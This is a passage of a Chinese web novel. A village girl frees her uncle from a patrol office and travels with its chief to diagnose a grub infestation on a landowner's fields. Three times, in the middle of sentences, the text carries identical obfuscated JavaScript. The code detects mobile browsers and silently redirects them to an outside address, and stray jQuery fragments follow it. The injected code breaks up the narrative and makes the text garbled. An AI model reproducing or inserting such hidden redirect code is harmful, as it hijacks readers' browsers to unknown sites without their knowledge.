待到了地方仰头一看，便见高耸的檐角和直立的围墙，青砖所筑的深灰色的围墙高达数丈，墙面平整且稳固，将整个巡检司包围的如铁桶一般，显得厚重而坚实。朱红的大门敞开着，门口的牌匾上高书“巡检司”三个大字，配着檐下执刃而立的差役，尽显肃杀之气。 乔元跟着吴才走在后头，门口立着的差役见到吴才，抱拳行礼道：“吴典使。” 吴才略微点头，带着乔元往里头走去。 和想象中的阴暗可怖不同，乔元一路走来，院内青翠，路途整洁，堂上的桌椅板凳也摆放齐整，倒是同县衙无甚区别。 “吴典使今日来所为何事？”见吴才来了还带个姑娘，早有眼尖的人去禀报了今日当值的楚津。 吴才见到来人，道：“我奉知县之命前来提人。” 楚津说话公事公办，他伸出双手，“烦请吴典使出示公文，我这便去狱中提人。” 吴才道：“不过是前几日同你巡检司人起了口角的百姓而已，用不上公文。” 楚津收回双手，生硬道：“既没有公文，那便恕我不能从命了。” “与你个木头说不通，你们巡检使呢？”吴才斜睨了他一眼，一副不愿多言的样子。 “巡检使外出公干了，一时半会儿怕是回不来。”楚津答道。 “你既做不了这主，人我就先带走了，待你们巡检使回来，你再同他说便是。”说罢，吴才抬步就要往牢狱中去。 楚津拦在前头，厉声道：“巡检司重地，吴典使不得硬闯。” 吴才也不同他客气，“在这金台县，还没有周知县提不走的人。” 二人正剑拔弩张之际，却听得身后传来一声轻笑，随后便有人朗声道：“怎的，周进的官威想耍到我巡检司了？” 在场众人忙行一礼道：“巡检使。” 抬手示意众人起身，江稷同上次一般身着青色公服，面上带着似笑非笑的弧度，走到二人面前。与上次不同的是，这回他腰间配着一把长剑，身后还跟着不少公干回来的差役。 “吴典使，你这是要提谁？”江稷在吴才身边站定，男人身材颀长，不过就这样看着他，吴才的心头便有些发憷。 “李家村，村民李展。”吴才忍着惧意道。 周进虽同江稷向来不睦，但吴才不过是个典使，他却没有这份胆子同江稷翻脸。 江稷同楚津使了个眼色，不多时楚津便拿了一份卷宗出来。“禀巡检使，这便是那李展的卷宗。” 江稷打开随意瞟了两眼，“不过是些小打小闹，倒也不算什么大事。” 吴才闻言在心中舒了一口气，“既如此，我便先将人提回去了。” 江稷拿着卷宗的手骨节分明，他看着吴才道：“吴典使，我说是小事，可没说要放人。再者，你来巡检司提人，怎的还带了个姑娘，莫不是有些瞧不起我们巡检司了？” 乔元在江稷来时，便努力缩在吴才身后减少存在感，如今被江稷一点名，她非但不往前，反倒更往后躲了躲。 吴才不知二人渊源，他道：“这李展是乔姑娘的姨父，放李展出来，也是知县大人看在乔姑娘治蚜有方，为金台县出力不少的面子上，巡检使既已知道缘由，还请尽快放人罢。” 江稷的眼神中透露出一丝玩味，“乔姑娘既是苦主，为何一直躲在吴典使身后？” 乔元垂头，想尽量避免与他对视，她瓮声瓮气道：“巡检使气度高华，小人不敢直视。” 江稷嘴角扯出笑容，他有些恶劣道：“要我放人也可以，不过得乔姑娘跟着我一齐下狱去提人。” 吴才虽觉得有些不妥，不过周进交代他的是将人提出来就行，至于怎么提、谁去提，那就是另一回事了。 他转身对着乔元道：“乔姑娘，巡检使既同意放人，那便劳烦你去一趟罢。” 吴才人一走开，乔元便不得不面对江稷，江稷目光灼灼打量着她，乔元有些不自然的偏过头，道：“还请巡检使带路。” 吩咐手下的人将吴才引入前厅，江稷随手将卷宗丢给楚津，便往牢狱的方向走去。 乔元认命跟在后头，随着江稷的步伐往前走。 本以为江稷会说些什么，乔元都已经打好腹稿了，可这一路上，他却是一言不发。 乔元定了定心神，心想，如此也好，待她将姑父救出，便可离开这个地方。 巡检司的牢房设在后院的斜角处，中间要经过多道长廊，很是难行。牢狱门口被一扇铁门锁着，铁门约莫有半个小指厚，贴地的边角沾染了一层暗红色的印迹，乔元无心去分别到底是铁锈还是血迹。随着空气流动，一股难闻的馊臭味从牢狱下被带了上来，乔元强忍着吐意，面上有些发白。 江稷不经意回头看了她一眼，眼尾上挑，随后对着躬身行礼的差役道：“开门罢。” 差役从怀中掏出门锁，“咔嚓”一声，门锁应声而开。 江稷率往下走去。 怕跟不上他，乔元只得捏紧鼻子，跟着走了下去。 甬道晦暗难行，一旁的火把提供的光亮实在有限，石阶大小不一，乔元走的有些吃力，可走在她前头的江稷却像是如履平地一般，没几下就弯过了拐角。乔元眯了眯眼，知道自己跟不上他，便选择单手扶墙慢慢走着，至少让自己走的稳当些。 拐过两道阶梯，才到了最底下的牢房门口。 待乔元踩到平地，江稷已经在下头等上了一会儿了。见她下来，江稷半倚着桌子道：“里面我就不进去了，还请乔姑娘自行去找你的姨父罢。” 牢房门口的锁已经开了，木门虚掩着，乔元随时可以进入。 眼睛适应了地下的光线，乔元这才有空抬眸打量了一番牢房里的布局。牢房的门口支着一些桌椅板凳，江稷此刻正坐在上首，面色平淡的看着她。平日在牢房里吆五喝六的差役们在江稷身后站了一排，面上很是恭敬。 乔元再往木门 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13617539|140924||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 后头看去，牢房同样是由青砖砌成，内部空间紧凑，每间囚室都很是狭小，仅有一扇小小的天窗用于通风。 木门后头的空间与江稷所在的地方割裂开来，像是两个不同的世界。往里延伸的通道昏暗狭小，不知通道两侧关押的都是些什么人，只看着就让人不禁有些毛骨悚然。 乔元知道自己必须过着一关，事不宜迟，她对江稷行了一礼道：“多谢巡检使。” 说罢，她便打开木门，踏入昏暗的通道。 江稷还以为乔元会求一求他，却不料她这么果断的进了牢房。这倒让他有些意外，他顿了顿，叫住乔元。 “乔姑娘留步。” 乔元回头，她的半个身子已经踏入木门另一侧了。 江稷指了指身侧的木凳，“你先过来坐罢。” 乔元有些莫名，但还是跟着坐了回来。“巡检使有事？” 江稷打发差役们都走远些，昏暗的灯火下，唯有二人面对面坐着。 乔元的眼神在灯火下有些发亮，今日她同江稷待了这么久功夫，他都没有问及河滩边事，说明他那日要么根本没看清她是谁，要么便是等着合适时机一并发落。 不管是哪一种，乔元此刻看着江稷，脸上没有丝毫俱意。 事情既已发生，躲是躲不掉了。 长睫盖住了江稷的眸色，他拿着茶盏的手掩住了嘴角的一丝笑意。 倒是第一次见到这样的姑娘。 “你孤身入内，难道不怕吗？”他看向乔元，少女的面色透着不自然的瓷白，明明该是害怕的，却非要撑出一副天不怕地不怕的样子来。 乔元回以同等的目光，道：“若我不入，巡检使可能放我姨父归家？” 烛火发出“噼啪”声，江稷悠悠道：“你可知这里头关的都是些什么人？杀人放火奸淫掳掠，全金台县的恶人都在这儿了？” 乔元拧眉，他以为这些东西便能唬到她不成？ 她直言道：“巡检使有话不妨直说。” 江稷噎了一下，这姑娘怎的如此胆大。 罢了，他放下茶盏，问出心中思索已久的问题，“乔姑娘，听闻这黄板除蚜的方子，是你想出来的？” 巡检司什么时候也管上农事上的事儿了？ 听完江稷所问，乔元心头有些生疑，稳妥起见，她道：“不过是些不入流的把戏，能派上用场已是大幸。” 江稷又问，“敢问姑娘，这法子从何而来。” “我幼时遇一高人，是他告诉我这驱蚜秘方。”乔元搬出在周进面前说过的那套说辞。 “可我怎么听说，姑娘的法子源自河伯授法？”杯盏在江稷的手头转动，似是一不小心便会掉下去。 空气似有瞬间凝滞，但随着乔元的话，又活了过来。 乔元面色不变，“大人或许是听错了。” 江稷哑然失笑，“乔姑娘，你可知我巡检司是做什么的？整个金台县，就没有我巡检司收集不到的情报。更何况，这条消息出自你石湾村张婶口中，你可还能抵赖？” “证据呢？”乔元往椅背上一靠，一副你能奈我何的样子。 江稷敛起唇角，他道：“乔姑娘，你可听说过英皇的故事？” 见乔元摇头，他接着道：“听闻大成二十七年间，有一道人，非说自己是英皇转世。他在各处开坛授法，信众甚多，众人皆信其有无上神力。你可知，他最后落得了一个什么结局？” 乔元闭口不言。 男人轻启薄唇，带着些磁性的声音一字一顿道：“挫骨扬灰。” 民间总是敬畏鬼神之说的，乔元当日会同张婶说上这些话，无非是想便宜行事。可没成想张婶没将这事儿传的让她除蚜害方便些，却让巡检司抓住了把柄。 事已至此，乔元双手抱胸，淡然问道：“巡检使今日带我来到此地，便是为了让我认下这罪责，好将我挫骨扬灰？” 江稷捏着杯盏的手紧了又紧，这姑娘怎的不会服软说几句好话？ 吓又吓不得，打又打不得。 过了半晌，江稷妥协道：“我并非不信姑娘，只是姑娘既说这除蚜的法子是你师傅所授，那想必不止能除蚜害这么简单，若姑娘能除去别的虫害，河伯授法之事，我就当没有听过。” 说来说去，原来是想让她帮着再去除虫害，这倒不难。 乔元道：“敢问巡检使，可知是什么虫害？” 江稷却不正面回答她，“明日辰时我派人来接你，届时你便知晓。” 这么神神秘秘的，是怕她提前去找应对方法不成。 既答应帮忙除虫，乔元没有忘记今日来此处的目的，“那我姨父？” “这事儿本就是我巡检司人未尊律法，稍后楚津将你姨父的卷宗归整好后，便会放他回去。” 倒是没想到江稷会这么说，乔元有些意外。 见乔元一副你还会说这话的样子，江稷解释道：“景朝律法，百姓若无作奸犯科等大罪，不得拘入牢狱。这事儿的确是我下头的人不得当，我稍后便会责罚。” 这人，倒也没在周进处见到的那么不讲道理。 27. 蛴螬（一） 事情既已谈妥，二人一前一后出了牢狱。 坐在前厅的吴才见只乔元一人出来，疑惑道：“乔姑娘，你姨父呢？还有巡检使，怎的不见踪影？” “姨父已经从囚室放出，待他盥洗一番，便可归家，至于巡检使……”乔元说到此处顿了顿，“像我这等百姓，怎敢窥探他的行踪。” 吴才倒是第一次见犯了事的人还能在巡检司盥洗清理的，他话里带了些嘲弄道：“巡检使倒是好心，平日从牢狱出来的人，可没有这等待遇。” 乔元装作不知，“是吗？那莫约是像吴典使说的，巡检使是看在我治蚜有功的份上，这才对我如此优待罢。” 吴才被噎了一下，他是见识过乔元本事的，同她斗嘴没好处。他不再搭腔，重新坐回到椅子上。 乔元乐得自在，也坐在一旁。 约莫坐了一盏茶功夫，收拾好的李展便被差役带了出来。一见到乔元，他的眼眶便红了。 方才差役放他出来的时候，李展从他那儿打听出来，是个姑娘找了巡检使的门路救的他。 可任他想破头，都猜不出这姑娘是谁。 直到如今见面，才知是连襟家的元姐儿。 李展在离乔元三尺的地方站定，躬身对她行了个大礼。“大恩大德，李展没齿难忘。” 姨父对侄女行大礼，这事儿要被她娘知道，她怕是得挨上几棍子。 她忙上前虚扶住李展，“姨父不必如此，大家都是亲眷，合该互相帮忙。如今姨母还在家中等着消息，姨父既已出来了，我们还是快些回去罢。” “是了，是了。”听得家人的消息，李展面上的精气神好了些，没先前如此萎顿。 几人便往巡检司外头走去。 李展已被救出，吴才自觉完成了任务，将二人送回县衙门口，便同他们告辞。 里正同乔伯石已经在县衙内等候多时了，二人听到门外动静，还以为是谁人来县衙拜谒，却见乔元从外头进来的，身后还跟着个面生的中年男子。 “元姐儿，你不是在后院吗？怎的是从外头进来的？”里正看向她，面上很是不解。 乔元先将李展介绍给二人，而后道：“此事说来话长，我们还先是快快回去罢。” 里正是知道李展这事儿的，这县衙看似安静，谁知道背地里有多少双眼睛盯着。他不再多问，叫上乔伯石，几人快快离去。 待上了牛车，出了县城，乔元这才有空同里正说明事情原委。 这事儿办起来复杂，真到说的时候，几句也就说清了。 李展在一旁听着，他早知救自己出来颇为不易，却不知中间还有这等故事。还知道这黄板，就是自家侄女做出来的。 人在牛车上不便行礼，他只看着乔元，神色坚定，“元姐儿此番大义，我定铭记于心，但凡以后有用得上我的地方，你尽管开口便是。” 从巡检司出来，乔元便没听李展自称姨父过，想来他是真将自己当成救命恩人了。 来自他人的善意，乔元总是觉得有些不知道该如何面对。她打着哈哈说了些缓和气氛的话，才将这浓厚的氛围淡化了些。 回村的路途漫长，闲来无事，乔元便又同里正细细探讨了关于蚜害的多方细节。 周进既下了死命令，她必须要在一个月内将蚜害控制在可控范围内。 老黄牛步履不停，几人说着话，也不觉时间漫长。 今日回村时辰比往日早了不少，同里正二人告别，乔元先带着李展回家去。 那日乔满山在里正处得到答复，告知李兴怀后，他连午饭都没用就先回去了，如今没收到消息的李家，还指不定乱成什么样。 到了家门口，乔永言正坐在院子里帮着捡豆子，见乔元回来了，他飞扑上来，“二姐姐，你可回来了，永言好想你呀。” 乔元笑着抱着小小的身子，摸了摸他的头，“二姐姐也想永言了。”乔元将乔永言提起来抱了一圈，而后才道：“你看，这是谁？” 乔永言这才看到跟在后头的李展，“咦，姨父怎的来了？”他又扑过去抱住李展，“姨父，姨父，你莫不是叫我们去吃席面？” 李展听得稚子言语，脸上露出些笑意，“对，姨父来请永言去吃大席面。” “好噢！好噢！我要去告诉阿娘！”说着，乔永言便兴奋地跑开了。 周素身子好些了，家里的饭食便还是由她来做。 她正在厨房炖着乔满山摘回来的菌菇，便听乔永言来叫，“阿娘，阿娘快些出来，二姐姐同姨父一齐回来了，姨父叫我们去吃席面呢。” 什么？！ 确认自己没听错，周素拿着锅铲就跑了出来，果然在院里头见到了乔元同李展，这下她还有什么不明白的。 这傻丫头怕是真为着她，去知县面前求告了。 周素心头百感交集，李展在旁，她又不便表现出来，只得先按下情绪，笑着招呼道，“回来了，回来好啊，姐夫先请在这儿用顿便饭，待满山回来了，叫他送你回去。” 到了晚间，乔满山父子从地里回来，见到李展，二人也被吓了一跳。 乔满山甚至不用思考，就知道这事儿是谁做的，他皱眉递给了乔元一个眼神，先放下农具去招呼起李展。 乔元知道，她爹这是气她不同家里通气就贸然行事。 可事情总归是解决了的，乔元也不怕他爹生气，乐滋滋地准备上桌吃饭。 周素今日多做了几个菜，乔满山拿出窖藏的米酒，给李展倒了一杯算是给他接风洗尘。 杯盏下肚，李展这才有了些已经从牢狱中出来的实感受，趁着酒劲，他不住得向乔家人表示谢意，连乔满山都有些拦不住他。 酒足饭饱，乔满山在村里借了牛车，便将李展先送了回去。李家村路途遥远，今晚就算送到了，乔满山只怕也得在那儿住上一宿。 趁着爹不在，乔元洗漱完一溜烟儿就钻到了周素的被褥里。 女儿缩在被子里，露出半个头，两只眼睛闪亮亮地看着她，同样洗漱完准备上床的周素哪里还舍得责备。 她只得装作严厉道：“元姐儿，你答应阿娘，往后这些危险的事儿你可别再掺和了。” 乔元答应的很快，“知道了，阿娘。” 周素知道女儿没听进去，她又温声同乔元说了许多，见她一一应下，这才上了床榻，同女儿一齐睡去。 —— 在巡检司的时候，江稷同乔元约定，三日后卯时派人来接她。 还没到日子，乔元便先在村里帮帮忙，又跟着里正去外头村子转了几圈，这才到了约定那天。 怕让来接她的人久候，乔元听见鸡鸣便起身了。 待她到了堂屋，却发现外头厨房里似是有响动。乔元拐过去一看，便见周素同乔满山二人正在厨房做干馍。 “爹、娘，你们今日怎的起的这样早。” 厨房里雾蒙蒙的，干馍在旁边摞了一小筐，还冒着热气。筐子旁边的矮几上，还放着一个小缸，乔 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13660026|140924||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 元随手拿了打开一看，周素将家里腌的酱菜已经分类放在里头了。 周素见乔元来了，忙招呼道，“元姐儿，快来吃个馍馍，刚蒸出来，可热乎。” 家里的钱都赔给吴玉梅了，乔家吃不起白面，蒸馍用的是最便宜的粟米面。 好在馍馍刚蒸出来，很是暄软，乔元吃掰开吃着，倒也不拉嗓子。 周素嘱咐乔满山看着火，回屋拿了屉布出来，将馍馍和酱菜分类放好，打成死结，再在外头包上粗布，交给乔元。 “元姐儿，这些馍馍你拿着路上吃。” 乔元开口想说吃食巡检司都包了，但看着爹娘早起给她蒸馍，话到嘴边又咽了回去。 她伸手接过，笑道：“谢谢爹娘。” 周素也笑着应了，乔满山却在一旁一声不吭。 见自家男人这样式，周素向乔元挤了挤眉眼，“你爹这是还生气呢。” 自那日乔满山从李家村回来，听得乔元又应了巡检使去灵州驱虫的活儿，连同周素说了她大半晌。 这几日他时常都是这样一个人生闷气，乔元好话说尽，再三保证是同巡检司人一齐去的，他才面色好些。 不料到了今早，眼看女儿要出远门了，乔满山心里又怄起气来。 他气的不是元姐儿，而是自己。若不是自己没用，又何必要让女儿小小年纪出去抛头露面。 乔元正想说些什么宽慰老父亲，便听得门口传来马蹄声。 接她的人来了。 乔元快步走去打开院门，只见门口的乡下泥地上，立着一匹黑色骏马。 这匹马浑身乌黑发亮，就算日头还没高起，都能看出它油光水滑的毛皮。马身肌肉线条分明，矫健有力，一看便是万里挑一的好马。 光顾着看马了，直到听见有人轻咳一声，乔元这才意识到马背上坐了人。 江稷今日穿的不是青色公服，换了一声绯衣，头发没有用发冠束起，而是在后头扎了个马尾。乍一看，不像是一板一眼的巡检使，倒有几分少年模样。 乔元没料到来接她的人是他，面上带了些意外，忙行礼道：“巡检使大人。” 江稷看向她，点头示意道：“乔姑娘。” 在院内的乔家人听到响动，不管是在屋内还厨房内，全聚集到了院门口。 乔满山一出门，见到这匹好马，便知马上坐的定是巡检司的大人物。 他不敢直视对方，只躬身垂首对着江稷行了一礼，恳求道：“大人，小女就拜托大人了，烦请大人好生照看她，乔家上下感激不尽。” 周素闻言，带着两个儿子也同样跟在后头行礼。 看着一家人的低姿态，乔元立在门口，胸口有些发胀。 江稷看着躬身的几人，眸色微闪，应道：“这是自然。” 说罢，他看向乔元，“乔姑娘，马车已经候在外头了，可能走了？” 乔元怕再待下去自己会有些失态，她答道：“可走了。” 回身从周素手里接过包裹，乔元跟着江稷上了停在路口的马车。 车夫挥动马鞭，马车缓缓开始移动，随后越跑越快。 看着女儿随车远走，周素泪眼婆娑，跟在后头喊道：“元姐儿，你一个人在外小心些，记得平平安安回来。” 乔长平同乔永言也说了些什么，可惜马车速度太快，还没等她听清，车边便驶过了拐角。 最后的记忆里，乔元只记得乔满山从开始弯着的腰，到最后也没有直起来过。 28. 蛴螬（二） 马车从金台县出发，沿着官道往西北走，天将擦黑的时候，二人刚好踏入灵州境内。 再晚些行路不安全，江稷随意找了家客舍，将路费交予车夫，便打发他先回去了。 乔元本以为此次出行，该是巡检司多人同行，可这一路走来，除了她、江稷、还有从市集上雇来的车夫，再无旁人。 如今见江稷连车夫都打发走了，乔元想了想，还是张口问道：“敢问巡检使，我们这是到地方了吗？” 江稷正将黑马的缰绳托给客舍门口的仆役，应道：“快了，待明日一早，便会有人来接。” 闻言，乔元稍稍放下心来。 仆役牵马去了客舍后头，江稷则站在客舍门口的台阶上，回身看向乔元。他的眸色较寻常男子略淡一些，像是眼里含了块琥珀，男人皱眉嘱咐道：“记得我在路上同你说的。” 乔元这才意识到，自己叫错了称呼。 来时江稷同她定好，此次出行，不称官职，直呼姓名便可。 “知道了。江……江稷。” 两个简单的字在乔元舌尖辗转出口，明明该是很正常的称呼，乔元却觉得有些难以启齿。 为了让自己显得自在些，她将从马车上卸下来的包袱背到背上，随着他一齐进入客舍。 周素给她装的馍馍实在是有些多，乔元的身量还没抽条，大大的包袱背在背上，显得有些滑稽。分出一只手掂着后背，还没走几步，乔元便发觉一旁的布袋像是有些漏了，她能摸到里头裹着馍馍的屉布。 将身子弯下一些，乔元想将包袱卸下来重新包好。 倏忽间，压在背上的重量一轻，还未等乔元反应过来，原本在她身上的包裹已经转移到了江稷的手上。江稷眉眼微垂，轻描淡写道：“走罢。” 有便宜不占是傻瓜，乔元眼睫上扬，笑道：“多谢。” 客舍里的仆役是见惯了走南闯北的商客的，二人一进来，便热热闹闹地招呼着。 向仆役要了两间上房，江稷提起乔元的包袱转身就往楼上走。 有些分量的东西在他手里，提起来轻松得像是一袋棉花。 乔元跟在后头不着边际地想着，看来巡检司的确算不上是个好差事，活又多又累，不然怎的连巡检使的力气都大得吓人。 仆役将二人引到各自的房间，躬身退下。 二人的房间就在隔壁，中间隔了一堵墙的距离。 江稷将包袱放在乔元房门口，同她打了声招呼，便打开房门先进去了。 乔元再次谢过后，也开门进了屋。屋内布置的很是清雅，轻纱垂帐，古典字画，乔元略微扫了一眼，托江稷的福，这是她到这个世界后第一次睡上这么好的房间。 将包袱放在正中的桌子上，乔元难得带上了点小女孩儿的姿态，她整个人“咚”一声，扑倒在松软的床铺上，开始在柔软的被子上左右翻滚。 打了一会滚，乔元又放松地和衣躺在床上小憩了一会儿。 眯了有半刻钟，门被人敲响。 乔元开门一看，四菜一汤已经整整齐齐端了上来。 仆役见到她，很是殷勤道：“姑娘，可以用饭了。” 乔元点头放了人进来。 仆役将菜整整齐齐放置在桌子上后，又道：“热水已经备下了，姑娘需要沐浴的时候，只消同我们说一声，热水马上便会抬进来。” 在石湾村过惯了穷苦人日子的乔元，再一次感受到了金钱的魅力。 吃饱喝足，又泡了个热水澡，乔元觉得今日坐僵的四肢百骸都通透了。她吹熄蜡烛，将自己包裹在厚实的被子里，如愿进入了梦乡。 隔壁。 江稷此刻正坐在梨木雕花拱壁方桌上，姿态闲适地盯着跪在他面前的黑衣人。 黑衣人从怀中掏出一张纸条，恭恭敬敬地双手递上，“这是我家主子交托给大人的。” 江稷从他手中接过纸条，打开之后，上头只短短写了三个字。 垂眸沉思了半晌，他提笔在上头添了几个字，重新交给面前的黑衣人，“务必交到你们主子手上。” “是。”黑衣人领命而去，消失在漆黑的夜幕里。 江稷看向黑衣人离去的方向，心中暗忖，看来这灵州，比他想象的还要不太平。 —— 翌日。 昨晚睡得早，乔元醒过来只觉神清气爽。 洗漱一番后开门，刚巧打阶梯上来一个仆役，见她便笑道：“姑娘起了，同您一起来的那位公子已经候在下头了，正打发我来叫您呢。” 乔元倒是没想到江稷也起的这么早，她谢过来人，匆匆到了大堂。 时辰尚早，大堂里没坐着几个人，乔元一眼便看到了坐在角落桌子上的江稷。 走到他边上，乔元同他打招呼道：“早。” 江稷支着下巴看向她，“你随意用些朝食，接我们的人稍后便会来。” 昨晚的饭食用的有些撑，今早乔元便选了些清淡的。 二人刚用完朝食，乔元抬眸便见客舍门口有一个小子正在张望。 少年看上去比乔元大不了多少，他站在门口打量着大堂里的每一个人，过了半晌，才鼓起勇气走到二人身边轻声问道：“敢问两位，可是天耕大仙的弟子？” 乔元正想否认，她身侧的江稷却道：“正是。” 听得江稷这样说，少年如释重负般笑道：“可算是找到两位仙师了，两位仙师且随我来罢，车架已经备好了。” 什么意料之外的剧本。 乔元看向江稷，想让他给自己一个解释。 却见他嘴角扯起一轮弧度，率先走了出去。 乔元无法，只得同少年说一声，自己要先上楼将包袱搬下来。 少年一听她还有包袱，三步并作两步上楼，便候在她门口了。乔元一将包袱收拾好拿出房门，便被少年提到了手里。 少年看着精瘦，力气却是不小，一路将包袱提上马车，叮嘱二人坐稳后，这才驾车缓缓向前移动。 乔元同江稷面对面坐在车内，空间被江稷挤走了一半，狭小的空间让她有些不适。 方才发生的事让她觉得有些莫名，怕被赶车的少年听见，她只得往江稷身边凑了凑，压低声音问道：“这到底是怎么回事？” 两人之间的距离很近，近到江稷能清楚看到乔元脸上有几根眼睫，他有些不自然地偏过头，“如你所见，你我现在便是天耕大仙的关门弟子。” 这人前几天还拿她河伯授法的事 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13679345|140924||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 儿要挟她，转头自己倒成了什么天耕大仙的弟子。 乔元坐回到自己位置上，自己都觉得有些被气笑了。 接下来的路途中二人一路无言，江稷靠在一侧阖眼休息，乔元便趴在马车的窗户上看着周遭的风景。 路途两侧，四处都是茂密的榆树林，榆树高大挺拔，树冠宽广，浓荫蔽日的。马车行在下面的小道上，只觉异常凉爽。 约莫行了两刻钟，马车终于停了下来，少年毕恭毕敬地掀开帘子，同二人道：“二位仙师，到地方了。” 乔元东西多，不便先下马车，江稷便先下了去，将她的东西接过。 待乔元下车，映入眼帘的便是一幢颇有些气派的房子，上面写着两个大字，‘严府’。少年候在一旁道：“二位仙师稍后，我这便进去叫我爹出来。” 对二人行了一礼，他便先进去了。 不多时，从里头走出一个中年男子，他眼下发青，面上带着很浓重的倦意。见到站在门口的二人，他快步走到二人身边，躬身道：“见过二位仙师，仙师一路行来定是疲乏地狠了，烦请快入内歇息罢。” 说罢，便摆出了个请的姿势。 江稷站在乔元前头，脚步不动。他道：“严员外，我同师妹此行过来，是为了解决你家虫害，师傅他老人家说了，我们不能沾染尘世太多，事不宜迟，烦请先带我们去地里看看罢。” 严绍眸中似有所动，他道：“二位不愧是天耕大仙的弟子，竟有如此菩萨心肠，既如此，烦请二位跟我来。” 江稷回头同乔元对视一眼，乔元将包袱托给一旁的仆役，便也跟在江稷后头走了过去。 一行人莫约走了有半刻钟，才到了田地边上。 从方才的屋舍便可看出，严家是当地的富户，故而他家里拥有的田产自然也是一眼望不到头。 严绍带着二人走在田埂上，乔元一路走一路看，越看越觉得奇怪。严绍家的田地上，没有麦子也没有符合时令的豆子，从南到北一大片的地里，种的全是菜。 乔元拧眉有些不解，再三思量后问道：“严员外，为何你家这地上种的全是菜？可是有何说法？” 严绍苦笑道：“这便是我请二位仙师来的原因了，请看。” 旁边就是下田的小路，严绍踩着石块下到地上，随手挖开菜根附近的泥土。 没挖多深，便见地上赫然出现几条乳白色的幼虫。 他伸出手，将幼虫抓在手上，因为外力的作用，不适应日光的幼虫在他手掌心疯狂蠕动。 江稷皱眉点了乔元一下，示意她先上去看，自己则装出一副世外高人的模样道：“这点虫害倒是不难，且先让我师妹来看看罢。” 乔元叹了口气，只得认命上前。 她下到地里，随手扯了点菜叶，将严绍手中的虫子捉过来放在菜叶上。 到了菜叶上的虫子，比在严绍手中安静了许多，没一会儿便爬到了背阴处不动了。 抓住机会，乔元凝神，仔细观察起来。 幼虫身呈圆柱形，头部较大，有明显的口器，胸腹由多个环节组成，每个环节上都有细小的毛发，而且在胸部上还有三对腿。 看清幼虫的各项特征后，乔元脱口而出道，“是蛴螬。” 29. 蛴螬（三） “蛴螬？”严绍眼中带着些疑惑，“这可是仙师们对这虫子的称呼？我们灵州人都称这东西为‘地蚕’。” “也可称作‘地蚕’。” 乔元与严绍同时说道。 蛴螬有很多别名，但最为出名的便是地蚕，乔元也是听到严绍反问，才反应过来。 严绍闻言，心里头放轻松了些，看来这这回请来的人，倒不像之前那些人一样，浪得虚名，指着这些地蚕说是蛆虫。 乔元将扒着蛴螬的菜叶重新放回地上，蛴螬一触碰到松软的泥土，便用三对腿扒开缝隙，重新钻了回去。 她转而向严绍问道：“严员外请我们来，便是为了除去这地蚕？” 严绍道：“正是。” “敢问虫害约有多大范围？” “我家地里全害了。” 乔元闻言，迈向田埂上的脚步一顿，她有些不可置信地看着严绍，“你是说，你家这么多亩地里，全是地蚕？” “是。” 乔元立即转身，往深处的田地走去。 她边走边看，严家田地种的菜，无一例外都有被虫啃咬过的痕迹。为了判断是否是蛴螬独咬的，乔元蹲下看了好几处菜株，这些菜的根部，无一例外都有被啃咬过后的痕迹。 蛴螬多藏于地下，昼伏夜出，喜食植物根茎。它是金龟子幼虫，完全变态后就会成为金龟子。地里有这么多蛴螬存在，就意味着这个地方在六月后将满天都是金龟子。 乔元回到严绍所在处，口吻很是严厉，“严员外，你家地在种这些菜前，种的是什么？” “是麦子。”严绍答道。 “再之前呢？” “是菜。” 按理说有一定的轮作情况，不应该有这么多的蛴螬。而且乔元观察过，附近不近山林，不会有这么庞大的金龟子族群存在。 乔元又问道：“那种麦子的时候，可有见过地蚕。” “没有，就是今年，不知怎的突然就冒出来了。”话到此处，严绍整个人都有些激动了起来。 “今年刚开春，佃了我家田地的农户便来说，这地里出现了地蚕。我急忙去看，这地蚕先是在一处地里出现了，我怕地蚕影响收成，马上差人下去抓了。谁料没过几天，不知怎的，只要是我家的地，到处都是地蚕。” 严绍提及此处，满是心焦，他接着道：“现如今，佃农们说我家地有问题，一个个都闹到里正那儿去，非要我免上一年地租才肯罢休。我严绍没什么本事，不过是靠着祖上的薄产过日子，若是佃农们不交地租，我一家十几口人，可怎么活。” 他弯腰同乔元和江稷二人行了个大礼，“二位仙师，还请你们帮帮在下罢。只要能除去这虫害，届时我严绍定有大礼奉上。” 一直站在一旁默不作声的江稷，突然开口道：“我们可是天耕仙人的弟子，岂会贪恋这些俗物。” “是是是，是我说错话了。”严绍急忙改口，生怕惹得他不高兴。 本来还沉浸在昆虫世界里的乔元，一听这话，眉眼一皱，瞥了江稷一眼。 你巡检使自是不稀罕，她可是稀罕的。 这严绍一看便是个有钱的乡绅，帮他治好蛴螬虫害，定能得不少银锭。 